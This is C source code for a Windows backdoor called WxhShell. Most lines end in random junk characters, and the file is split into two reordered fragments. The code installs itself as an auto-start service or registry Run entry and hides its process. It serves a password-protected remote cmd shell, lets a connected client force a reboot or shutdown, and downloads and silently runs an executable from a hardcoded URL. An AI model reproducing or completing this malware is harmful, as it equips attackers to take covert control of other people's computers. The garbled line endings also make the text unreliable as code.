    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~@wM[}ThP$  
    if(Boot(SHUTDOWN)) g:sn/Zug]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6*n<emP  
    else { P:gN"f6  
    closesocket(wsh); ;P#c!  
    ExitThread(0); xbv  
    } l].Gz`L  
    break; M{ mdh\  
    } QXcSDJ  
  // 获取shell Gcs eq  
  case 's': { u d V. $N  
    CmdShell(wsh); "A6T'nOP  
    closesocket(wsh); 8(EK17rE `  
    ExitThread(0); 6.!Cm$l  
    break; cnR.J  
  } B8'e,9   
  // 退出 "5,tEP!  
  case 'x': { `Y~EL?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <[e E5X(  
    CloseIt(wsh); oS/cS)N20  
    break; N=QeeAI}}m  
    } l12_&o"C~  
  // 离开 y(!Y N7_A  
  case 'q': { P~5[.6gW  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )Uv lEG']  
    closesocket(wsh); !5;A.f  
    WSACleanup(); 5B lptC  
    exit(1); :bhpYEUMx  
    break; kt ILKpHt"  
        } lStYfO:<'v  
  } JQhw>H9&  
  } "|6#n34  
U?}>A5H  
  // 提示信息 w,t>M_( N  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =&J 7 'nDP  
} >+ZG {'!j  
  } Gqz<;y  
;gC.fpu  
  return; #=G[ ~m\  
}  .UUY9@  
$~[k?D  
// shell模块句柄 Ie[8Iot?bn  
int CmdShell(SOCKET sock) Uo!#p'<w)p  
{ H|1owmbD  
STARTUPINFO si; I}#_Jt3R  
ZeroMemory(&si,sizeof(si)); 5gPcsn"D  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fJb<<6C  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Nl3@i`;  
PROCESS_INFORMATION ProcessInfo; ~ "^]\3#  
char cmdline[]="cmd"; 5f:Mb|. ?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }CiB+  
  return 0; me+F0:L  
} = 2 3H/  
43"` gF]  
// 自身启动模式 @o[C Xrz  
int StartFromService(void) /a?*Ap5"  
{ l 4zl|6%  
typedef struct \m3;<A/3n  
{ L@"1d.k_  
  DWORD ExitStatus; 0<8p G:BQ  
  DWORD PebBaseAddress; +$hqwNh@Z@  
  DWORD AffinityMask; y7;i4::A\  
  DWORD BasePriority; bF#*cH  
  ULONG UniqueProcessId; nty^De%  
  ULONG InheritedFromUniqueProcessId; meHnT9a^  
}   PROCESS_BASIC_INFORMATION; XF`,mV4  
7g}lg8M  
PROCNTQSIP NtQueryInformationProcess; '8Q:}{  
1kG{z;9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |hp_<F9.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \BV$p2m5-  
\B0,?_i  
  HANDLE             hProcess; WW'8&:x  
  PROCESS_BASIC_INFORMATION pbi; k}5Sz  
5ayM}u%\~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^r u1QDT  
  if(NULL == hInst ) return 0; fgs){ Ng`  
.#M'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #bqc}h9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l Ikh4T6i  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {xw"t9(fE  
Rn (vG-xQ  
  if (!NtQueryInformationProcess) return 0; `h>a2   
VOkEDH  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u}eqU%  
  if(!hProcess) return 0; y5d=r]_S:  
E|(T(4;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s&<6{AU(id  
3HU_ ~%l  
  CloseHandle(hProcess); vPm&0,R*y:  
c~@Z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %Ts6M,Fpp  
if(hProcess==NULL) return 0; QEe\1>1"&  
6;02_C]\o  
HMODULE hMod; $*035f  
char procName[255]; `CW I%V  
unsigned long cbNeeded; Ue>;h9^  
~nQv yM!$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R6^U9 fDG  
+:hZ,G?>  
  CloseHandle(hProcess); E4a`cGb  
}klET   
if(strstr(procName,"services")) return 1; // 以服务启动 J YA  
As$:V<Z  
  return 0; // 注册表启动 0w0\TWz*   
} i'GBj,:  
q~[@(+zP5  
// 主模块  p)5j~Nl  
int StartWxhshell(LPSTR lpCmdLine) W| z djb  
{ Zc_%hQf2A  
  SOCKET wsl; i8F^ N=  
BOOL val=TRUE; Hm>M}MF3  
  int port=0; Z /#&c  
  struct sockaddr_in door; #kO.'oIl  
<oweLRt  
  if(wscfg.ws_autoins) Install(); +d7sy0  
n+C]&6-b  
port=atoi(lpCmdLine); ,_STt)  
{XT3M{`rWL  
if(port<=0) port=wscfg.ws_port; &n_aMZ;  
:L~{Q>o  
  WSADATA data; Q\pTyNAYn  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =Kq/E De  
}ze,6T*z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   cQ= "3M)~r  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6}Se$XMl  
  door.sin_family = AF_INET; ]bjXbbHd  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,G";ny[$  
  door.sin_port = htons(port); \7W4)>At-  
{u3eel  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8VbHZ9Q  
closesocket(wsl); fOE8{O^W  
return 1; X2X.&^  
} 5H (CP  
]g#ur@Y%  
  if(listen(wsl,2) == INVALID_SOCKET) { rTBrl[&,q'  
closesocket(wsl); S,9}p 1  
return 1; n|t?MoUP  
} 4NY00d/R  
  Wxhshell(wsl); vx:MLmZ.  
  WSACleanup(); @8IY J{=  
tY?_#rc  
return 0; (7C&I- l  
gmU_# J%~  
} 'S_kD! BO  
]}4{|& e  
// 以NT服务方式启动 wv.FL$f[@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !ke_?+ 8sY  
{ l>l)m-;O  
DWORD   status = 0; v35wlt^}  
  DWORD   specificError = 0xfffffff; wYZ"fusT  
%9D$N  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <AZ21"oR/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; G#V}9l8 Q  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 64qm  
  serviceStatus.dwWin32ExitCode     = 0; W/z\j/Rgc  
  serviceStatus.dwServiceSpecificExitCode = 0; oV4+w_rrLc  
  serviceStatus.dwCheckPoint       = 0; S >E|A %  
  serviceStatus.dwWaitHint       = 0; Y)?dq(  
"`b"PQ<x  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); I6bekOvP  
  if (hServiceStatusHandle==0) return; G8c 8`~t  
7@[3]c<=  
status = GetLastError(); bjgf8427I  
  if (status!=NO_ERROR) %9|}H [x  
{ p&B c<+3e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Q o}&2m  
    serviceStatus.dwCheckPoint       = 0; e-$ U .cx  
    serviceStatus.dwWaitHint       = 0; aE[>^~Lv}  
    serviceStatus.dwWin32ExitCode     = status; z93HTy9  
    serviceStatus.dwServiceSpecificExitCode = specificError; 5gZEcJ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 68m (%%E@  
    return; O]ZP- WG  
  } cR; zNS  
|K},f,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \ (y6o}aW  
  serviceStatus.dwCheckPoint       = 0; 7qfo%n"  
  serviceStatus.dwWaitHint       = 0; w28!Yj1Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NGl/F{<  
} ,2Y P D4  
fz%I'+!  
// 处理NT服务事件,比如:启动、停止 ;>*l?m-S@n  
VOID WINAPI NTServiceHandler(DWORD fdwControl) OBGA~E;%  
{ 3t  
switch(fdwControl) E,6(/`0H*  
{ D`nW9i7  
case SERVICE_CONTROL_STOP: Yg 8AMi  
  serviceStatus.dwWin32ExitCode = 0; L nQm2uF  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; B{fPj9Y0  
  serviceStatus.dwCheckPoint   = 0; ldjypEa}  
  serviceStatus.dwWaitHint     = 0; T[mo PD5  
  { 13oR-Stj|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nC^|83  
  } Z]$RO  
  return; [ emUyF  
case SERVICE_CONTROL_PAUSE: X~/hv_@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .C avb  
  break; n^8LF9r  
case SERVICE_CONTROL_CONTINUE: t;P%&:"@M  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; DNsDEU  
  break; ]~my<3j}or  
case SERVICE_CONTROL_INTERROGATE: gu+c7qe  
  break; }-3| v<d  
}; O34'c_ fZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); AJ'YkSg  
} iI_ad7,u  
Da#|}m0>  
// 标准应用程序主函数 V K/;ohTTP  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "Aw| 7XII  
{ D-)jmz>R  
Lod$&k@@  
// 获取操作系统版本 TH_Vw,)  
OsIsNt=GetOsVer(); ~z)diF<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :t &ib}v  
%B^nQbNDM  
  // 从命令行安装 <VP@#  
  if(strpbrk(lpCmdLine,"iI")) Install(); |yE_M-Nc  
F...>%N$  
  // 下载执行文件 qXPT1%+)y  
if(wscfg.ws_downexe) { zz ^2/l  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) "0pH@_8o{  
  WinExec(wscfg.ws_filenam,SW_HIDE); B_FfXFQm<  
} f =H,BQ  
z7+y{-{Z  
if(!OsIsNt) { ([loWr}QR  
// 如果时win9x,隐藏进程并且设置为注册表启动 %|(~k*s4  
HideProc(); $y !k)"k  
StartWxhshell(lpCmdLine); Ndj9B|s_  
} 7g(,$5  
else ;6N@raP7  
  if(StartFromService()) 6d~[My  
  // 以服务方式启动 \tc`Aj%K  
  StartServiceCtrlDispatcher(DispatchTable); &FrW(>2  
else ;IhkGPpWP  
  // 普通方式启动 Fs q=u-= :  
  StartWxhshell(lpCmdLine); *G"vV>OSV  
tAD{{GW9  
return 0; hJ8|KPgdw  
} yteJHaq  
rvT7 5dV0  
MpbH!2J  
8fpaY{]  
=========================================== Xrnxpp!#^D  
iE}jilU  
S[fzy$">  
{e,m<mAi  
hw`+,_ g  
6x\+j  
" x{u7#s1|/  
pm<zw-  
#include <stdio.h> {r2-^Q HF  
#include <string.h> YQ>P{I%J  
#include <windows.h> ~8'4/wh+8  
#include <winsock2.h> K~nk:}3Ui  
#include <winsvc.h> 7&G[mOx0  
#include <urlmon.h> bK `'zi  
c1j)  
#pragma comment (lib, "Ws2_32.lib") /ZAS%_as  
#pragma comment (lib, "urlmon.lib") -Z&6PT7  
Gy36{*  
#define MAX_USER   100 // 最大客户端连接数 t0Q/vp*/  
#define BUF_SOCK   200 // sock buffer ~ei\~;n\@  
#define KEY_BUFF   255 // 输入 buffer ^6v ob  
O`e0r%SJ  
#define REBOOT     0   // 重启 DJ"O`qNV3  
#define SHUTDOWN   1   // 关机 t?^C9(;6  
sMAc+9G9k  
#define DEF_PORT   5000 // 监听端口 $rf4h]&<  
dbGW`_zQ4  
#define REG_LEN     16   // 注册表键长度 }?B=R#5  
#define SVC_LEN     80   // NT服务名长度 \nV|Y=5  
T2# W=P  
// 从dll定义API %-@`|  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Wt+aW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); PezUG{q(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >b;fhdd:4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E^S[8=  
jnFCt CB  
// wxhshell配置信息 {N+N4*  
struct WSCFG { Vm]ltiTVk  
  int ws_port;         // 监听端口 P>%\pCJ])  
  char ws_passstr[REG_LEN]; // 口令 S5ka;g  
  int ws_autoins;       // 安装标记, 1=yes 0=no -A}*Aa'\  
  char ws_regname[REG_LEN]; // 注册表键名 8XwAKN:f  
  char ws_svcname[REG_LEN]; // 服务名 uV<I!jyI  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 &F" Mkyf  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 | ]`gps  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 4%O*2JAw  
int ws_downexe;       // 下载执行标记, 1=yes 0=no P8.tl"q  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 10 dVV[=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bL 5z%bV  
Sv.z9@S  
}; D3yG@lIP3  
~1YL  
// default Wxhshell configuration O4FW/)gq  
struct WSCFG wscfg={DEF_PORT, ' >> IMF  
    "xuhuanlingzhe", ~*D)L'`2M  
    1, e!yUA!x`u  
    "Wxhshell", ?}sh@;]*h  
    "Wxhshell", +v%V1lf^~  
            "WxhShell Service", l|-1H76  
    "Wrsky Windows CmdShell Service", MJ[#Gq\0R  
    "Please Input Your Password: ", th8f  
  1, b3e:F{n ^  
  "http://www.wrsky.com/wxhshell.exe", Y4`MgP8t  
  "Wxhshell.exe" NLM ]KT  
    }; ~*-ar6  
_)Uw-vhQiT  
// 消息定义模块 'X{cDdS^  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; L'4ob4r{L  
char *msg_ws_prompt="\n\r? for help\n\r#>"; N)A?*s'v~  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; qWe1`.o  
char *msg_ws_ext="\n\rExit."; 9@C3jZ+9`H  
char *msg_ws_end="\n\rQuit."; o9M[Zr1@k  
char *msg_ws_boot="\n\rReboot..."; u4B,|_MK  
char *msg_ws_poff="\n\rShutdown..."; *!UY;InanX  
char *msg_ws_down="\n\rSave to "; >x)YdgJ*  
WMBntB   
char *msg_ws_err="\n\rErr!"; !_s|h@  
char *msg_ws_ok="\n\rOK!"; m` cw:  
j~V@0z.  
char ExeFile[MAX_PATH]; [8.ufpZ  
int nUser = 0; K|];fd U  
HANDLE handles[MAX_USER]; vP&dvAUF  
int OsIsNt; 4NbX! "0  
H ~1laV  
SERVICE_STATUS       serviceStatus; #/@U|g  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ([UuO}m-  
tx&>Eo  
// 函数声明 B{a:cz>0<  
int Install(void); {f#{NA5  
int Uninstall(void); aGNVqS%y  
int DownloadFile(char *sURL, SOCKET wsh); JU:!lyd  
int Boot(int flag); WKX5Dl  
void HideProc(void); cO<]%L0  
int GetOsVer(void); 57IrD*{  
int Wxhshell(SOCKET wsl); b$[_(QUw  
void TalkWithClient(void *cs); !`\W8JT+  
int CmdShell(SOCKET sock); Dqe)8 r  
int StartFromService(void); y?<[g;MuT  
int StartWxhshell(LPSTR lpCmdLine); VgZ<T,SuW  
!^!<Xz;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); PB4E_0}h  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); KM 4w{  
F }pS'Y  
// 数据结构和表定义 +,7dj:0S  
SERVICE_TABLE_ENTRY DispatchTable[] = c a_N76o!  
{ [e3|yE6  
{wscfg.ws_svcname, NTServiceMain}, -'JTVfm.  
{NULL, NULL} '*!R gbj;  
}; I!jSAc{  
M ! gX4  
// 自我安装 :q~qRRmjBe  
int Install(void) "$+naY{w  
{ \^;Gv%E  
  char svExeFile[MAX_PATH]; ,oIZ5u{#,  
  HKEY key; _baqN!N  
  strcpy(svExeFile,ExeFile); =nFT0];  
YS?P A#  
// 如果是win9x系统,修改注册表设为自启动 PTA;a 0A  
if(!OsIsNt) { [ar:zl V8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { og MLv}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J><O 51  
  RegCloseKey(key); -QIcBzw;q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q6,rY(b6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ixBM>mRK  
  RegCloseKey(key); ,.]e~O4R  
  return 0; BArsj  
    } #"ayq,GC<  
  } \bQ|O7s  
} oF.Fg<p (  
else { vIU+ZdBw  
N$pwTyk  
// 如果是NT以上系统,安装为系统服务 FO_nS   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); KwPJ0 ]('_  
if (schSCManager!=0) 'e3y|  
{ tt[P{mMQ  
  SC_HANDLE schService = CreateService 34YYw@?}Y  
  ( D> Z>4:EM  
  schSCManager, ifTVTd7O  
  wscfg.ws_svcname, @[=*w`1  
  wscfg.ws_svcdisp, M=yZ5~3  
  SERVICE_ALL_ACCESS, a[";K,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2@08 V|  
  SERVICE_AUTO_START, ><LIOFqsS  
  SERVICE_ERROR_NORMAL, \2_>$:UoV  
  svExeFile, rctn0*MP  
  NULL, lx$Y-Tb^F  
  NULL, gK(E0p"  
  NULL, XYod>[.x  
  NULL, *Q!b%DIa$  
  NULL r{\cm Ds  
  ); [.6>%G1C  
  if (schService!=0) kjNA~{  
  { Zt lS*id_  
  CloseServiceHandle(schService); Da-F(^E  
  CloseServiceHandle(schSCManager); kUP[&/Lc  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); m6 hA,li  
  strcat(svExeFile,wscfg.ws_svcname); >-X& /i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { FAM`+QtNw  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7S] h:q%%  
  RegCloseKey(key); FVY,CeA.  
  return 0; WU<#_by g  
    } b8b-M]P-=  
  } eVU:.fx  
  CloseServiceHandle(schSCManager); 4c2P%X( C  
} &tWWb`  
} W3<O+S&  
KNY<"b  
return 1; iM8hGQ`  
} rFx2 S  
/4_}wi\  
// 自我卸载 q{U -kuui  
int Uninstall(void) te6[^_k  
{ ~;+i[Z&e  
  HKEY key; .Z_U]_(  
&51/Pm2O  
if(!OsIsNt) { I,YGm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "b1_vA]03  
  RegDeleteValue(key,wscfg.ws_regname); @b>]q$)(}  
  RegCloseKey(key); Phb<##OB  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rA1 gH6D  
  RegDeleteValue(key,wscfg.ws_regname); XX6&% 7(  
  RegCloseKey(key); #m$H'O[WG\  
  return 0; xje{ kx#  
  } hJ}G5pX  
} !?l 23(d  
} E32z(:7M  
else { `/HygC6  
SbGp  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); V >['~|  
if (schSCManager!=0) F)gL=6h  
{ vi5~Rd`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5Q%#Z L/'  
  if (schService!=0) 9&d BL0  
  { |HG%o 3E]  
  if(DeleteService(schService)!=0) { SQ.4IWT(hR  
  CloseServiceHandle(schService); 0I#<-9&d-  
  CloseServiceHandle(schSCManager); (vI7qD_  
  return 0; &1Y+ q]  
  } \]9;c6(  
  CloseServiceHandle(schService); #e|eWi>  
  } iEU(1?m2-  
  CloseServiceHandle(schSCManager); ze 4/XR  
} ?BLOc;I&a  
} ]-}a{z  
{^\-%3$  
return 1; t[Q^Xp  
} "q(&<+D@  
;m5M: Z"  
// 从指定url下载文件 -"cN9RF  
int DownloadFile(char *sURL, SOCKET wsh) WEsH@ [  
{ TWs|lhC7!  
  HRESULT hr; >N,G@{FR  
char seps[]= "/"; CD[7h  
char *token; *jJ62-o  
char *file; VLO>{"{'  
char myURL[MAX_PATH]; sW]n~kTt'  
char myFILE[MAX_PATH]; N!m%~},s//  
V`H#|8\i  
strcpy(myURL,sURL); r[,KE.^6~#  
  token=strtok(myURL,seps); @"~\[z5  
  while(token!=NULL) <]9MgfAe  
  { lyi}q"Kn*;  
    file=token; !e7vc[N  
  token=strtok(NULL,seps); )a}5\V  
  } JJ+<?CeHD  
[-CG&l2?L  
GetCurrentDirectory(MAX_PATH,myFILE); -0]aOT--  
strcat(myFILE, "\\"); g@U#Y#b@"  
strcat(myFILE, file); o}%fs *  
  send(wsh,myFILE,strlen(myFILE),0); `j(+Y  
send(wsh,"...",3,0); T2->  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $?s^HKF~  
  if(hr==S_OK) s{IoL_PJP  
return 0; _ 4W#6!  
else srSTQ\l4  
return 1; T9$U./69-L  
<VBw1|)$@  
} :1{j&$  
{c1qC zM4  
// 系统电源模块 |`okIqp  
int Boot(int flag) 4ku/3/ 6  
{ {Q-U=me\  
  HANDLE hToken; %*gO<U4L]  
  TOKEN_PRIVILEGES tkp; eeDhTw9  
68!]q(!6F  
  if(OsIsNt) { SH(kUL5  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |u+&xX7  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); RasoOj$  
    tkp.PrivilegeCount = 1; U;nC)'~YW9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; UQ8x #(`ak  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); NV gLq@F  
if(flag==REBOOT) { ~mp$P+M(%p  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3(&.[o Z  
  return 0; K]u|V0c  
} Z-<u?f8{*  
else { joA+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }ot _k-  
  return 0; O`u!P\  
} Om^/tp\  
  } O7\s1 V;  
  else { BNy"YK$  
if(flag==REBOOT) { 4W?<hv+k7*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) WAa?$"U2  
  return 0; Y; w]u_  
} 5;{Bdvcv  
else { nT12[@:Tr  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) r#Mx~Zg~  
  return 0; :9#`| #uh  
} Zb 2  
} wI4;/w>  
Lm?*p>\Q  
return 1; G4}q*&:k  
} wgyO%  
V4-=Ni]k  
// win9x进程隐藏模块 `[KhG)Y7t  
void HideProc(void) TH|hrL;:8  
{ QdTe!f|  
AH`15k_i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); </X"*G't  
  if ( hKernel != NULL ) rTm{-b)r  
  { ["F,|e{y$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9yh@_~rZ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zFn&~lFB  
    FreeLibrary(hKernel); 5\S7Va;W  
  } CwvNxH#LVu  
/RM-+D:Y  
return; =5`@:!t7  
} /)1-^ju  
TJpv"V  
// 获取操作系统版本 gp)ds^  
int GetOsVer(void) `VsGa  
{ Lm|X5RVq  
  OSVERSIONINFO winfo; S:YL<_oI|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); j 7 URg>i0  
  GetVersionEx(&winfo); nrIL_  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) !cb#fl  
  return 1; uE j6A  
  else {wP|b@(1t  
  return 0; hBhkb ~Oky  
} 6\;1<Sw*  
"o 3"1s>d{  
// 客户端句柄模块 .LhmYbQ2WE  
int Wxhshell(SOCKET wsl) CiI: uU  
{ _w;+Jh  
  SOCKET wsh; d*$<%J  
  struct sockaddr_in client; L_mqC(vn  
  DWORD myID; G 7]wg>*  
kDq%Y[6Z  
  while(nUser<MAX_USER) 3(+#^aw  
{ r%pFq1/'!  
  int nSize=sizeof(client); 6t:c]G'J  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !h!9SE  
  if(wsh==INVALID_SOCKET) return 1; ^kvH/Y&  
Mj B[5:s  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "6yiQ\`J  
if(handles[nUser]==0) Jt6J'MOq  
  closesocket(wsh); bFezTl{M  
else 5V~p@vCx  
  nUser++; 6# ";W2  
  } h&bV!M  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]Rh( =bg  
9M]"%E!s  
  return 0; W_\L_)^X  
} ~C'nBV  
FH8mK)  
// 关闭 socket #<Nvy9  
void CloseIt(SOCKET wsh) ;6nZ  
{ b:Kw_Q  
closesocket(wsh); k_<{j0z.  
nUser--; X3{1DY3@u  
ExitThread(0); i8_x1=A  
} *"FLkC4  
2?iOB6  
// 客户端请求句柄 _M[[vXH  
void TalkWithClient(void *cs) WgJAr73 l  
{ %D(prA_w  
;&6PL]/d  
  SOCKET wsh=(SOCKET)cs; ;-pvc<_c<  
  char pwd[SVC_LEN]; wp.e3l  
  char cmd[KEY_BUFF]; qYZ7Zt;  
char chr[1]; Q5nyD/k4c  
int i,j; 3D{4vMm X  
^:DhHqvK  
  while (nUser < MAX_USER) { Pmlgh&Z  
gvqd 1?0w  
if(wscfg.ws_passstr) { v\(m"|4(i  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C'/M/|=Q#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _SC  
  //ZeroMemory(pwd,KEY_BUFF); ?vn 0%e868  
      i=0; 1{x~iZa  
  while(i<SVC_LEN) { ZT"|o\G^Q  
7. 9s.*  
  // 设置超时 6'Yn|A  
  fd_set FdRead; 3 9{"T0  
  struct timeval TimeOut; Mp"ci+Iu  
  FD_ZERO(&FdRead); =+}}Sv2  
  FD_SET(wsh,&FdRead); BrH;(*H)8  
  TimeOut.tv_sec=8; I.+)sB?5  
  TimeOut.tv_usec=0; ClMtl59  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *C@[5#CA2z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); P!+nZXo  
A?D"j7JD=L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0tCOb9  
  pwd=chr[0]; .(7C)P{ .0  
  if(chr[0]==0xd || chr[0]==0xa) { x56 F  
  pwd=0; e9@fQ  
  break; xSDE6]  
  } x*&&?nV Iz  
  i++; #VdI{IbW  
    } M=[q+A  
PR@4' r|a  
  // 如果是非法用户,关闭 socket 7s8<FyFsjd  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R #3Q$   
} B_"OA3d_  
qIGu#zXW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); jUJTcL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U++~3e@l  
r` `i C5Ii  
while(1) { qN1 -plY  
#EmffVtY  
  ZeroMemory(cmd,KEY_BUFF); R_>TEYZ  
hG~]~ )  
      // 自动支持客户端 telnet标准   cxD}t'T  
  j=0; {nPkb5xbW  
  while(j<KEY_BUFF) { u@bOEcxK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =F %wlzF:  
  cmd[j]=chr[0]; YKe0:cWc  
  if(chr[0]==0xa || chr[0]==0xd) { hGA!1a4 c  
  cmd[j]=0; < [S1_2b.t  
  break; }.MoDR3\  
  } oBj>9I;  
  j++; NB+$ym  
    } X4 }`>  
1R2o6`_  
  // 下载文件 /%uZKG P  
  if(strstr(cmd,"http://")) { c. TB8Ol  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /;<e.  
  if(DownloadFile(cmd,wsh)) _7=pw5[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); J[<pZ [  
  else WE5"A| =  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HTUYvU*-  
  } t?9 ;cS4  
